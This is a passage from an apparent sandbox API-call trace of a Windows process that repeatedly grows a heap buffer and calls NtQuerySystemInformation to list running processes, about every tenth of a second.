(Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x9144) returned 0x25621b8 [0221.259] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0x0 [0221.259] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0221.369] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0221.369] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0221.369] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0221.369] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0221.369] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0221.370] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.370] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0221.370] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.370] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0221.370] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.370] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x25621b8 [0221.370] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0221.370] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x8120) returned 0x25621b8 [0221.370] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0221.370] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x9144) returned 0x25621b8 [0221.370] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0x0 [0221.370] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0221.513] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0221.513] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0221.513] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0221.513] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0221.513] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0221.513] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.513] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0221.513] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.513] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0221.513] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.513] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x25621b8 [0221.513] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0221.514] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x8120) returned 0x25621b8 [0221.514] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0xc0000004 [0221.514] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x25621b8, Size=0x9144) returned 0x25621b8 [0221.514] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x25621b8, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x25621b8, ResultLength=0x0) returned 0x0 [0221.514] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d8988 [0221.612] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0221.612] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0221.612] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0221.612] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0221.612] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0221.612] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.612] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0221.612] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.612] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0221.613] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.613] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0221.613] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.613] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0221.613] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0221.613] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0221.613] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0221.613] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0221.721] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0221.721] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0221.721] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0221.721] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0221.721] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0221.721] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.722] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0221.722] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.722] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0221.722] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.722] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0221.722] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.722] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0221.722] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0221.723] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0221.723] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0221.723] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0221.830] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0221.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0221.830] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0221.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0221.830] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0221.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.831] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0221.831] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.831] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0221.831] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.831] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0221.831] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.831] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0221.831] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0221.831] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0221.831] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0221.831] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0221.941] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0221.941] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0221.941] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0221.941] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0221.942] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0221.942] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.942] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0221.942] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.942] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0221.942] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.942] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0221.942] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0221.942] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0221.942] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0221.942] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0221.942] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0221.942] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0222.051] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0222.051] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0222.051] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0222.051] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0222.051] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0222.051] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.051] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0222.051] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.051] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0222.051] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.051] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0222.051] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.051] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0222.051] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0222.052] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0222.052] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0222.052] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0222.158] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0222.158] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0222.158] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0222.158] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0222.158] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0222.158] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.158] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0222.158] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.158] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0222.158] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.158] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0222.158] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.158] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0222.158] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0222.159] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0222.159] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0222.159] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0222.267] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0222.267] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0222.267] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0222.267] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0222.267] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0222.267] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.267] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0222.267] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.267] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0222.267] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.268] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0222.268] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.268] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0222.268] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0222.268] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0222.268] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0222.268] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0222.386] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0222.386] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0222.386] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0222.386] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0222.386] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0222.386] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.386] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0222.386] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.386] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0222.386] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.386] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0222.386] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0222.387] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0222.387] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0222.387] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0222.387] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0222.387] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88c8 [0222.485] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0222.485] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0222.485] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0222.485] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0222.485] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0222.485] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, 